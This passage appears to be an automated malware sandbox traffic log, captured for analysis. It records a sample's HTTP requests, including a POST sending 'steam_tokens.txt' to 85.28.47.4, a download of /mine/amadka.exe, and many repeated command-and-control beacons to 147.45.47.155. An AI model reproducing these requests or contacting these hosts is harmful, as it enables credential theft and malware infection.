6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 2d 2d 0d 0a Data Ascii: ------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="token"ecb877a6bb37dc847102d5abef9cc8fc21df39b4cce0f6b2dbbeffb49235c7bb9ea37a51------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="file"------KFCGDBAKKKFBGDHJKFHJ--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIEBAAKJDHIECAAFHCHost: 85.28.47.4Content-Length: 270Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 62 38 37 37 61 36 62 62 33 37 64 63 38 34 37 31 30 32 64 35 61 62 65 66 39 63 63 38 66 63 32 31 64 66 33 39 62 34 63 63 65 30 66 36 62 32 64 62 62 65 66 66 62 34 39 32 33 35 63 37 62 62 39 65 61 33 37 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 2d 2d 0d 0a Data Ascii: ------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="token"ecb877a6bb37dc847102d5abef9cc8fc21df39b4cce0f6b2dbbeffb49235c7bb9ea37a51------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="message"jbdtaijovg------IDHIEBAAKJDHIECAAFHC--
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
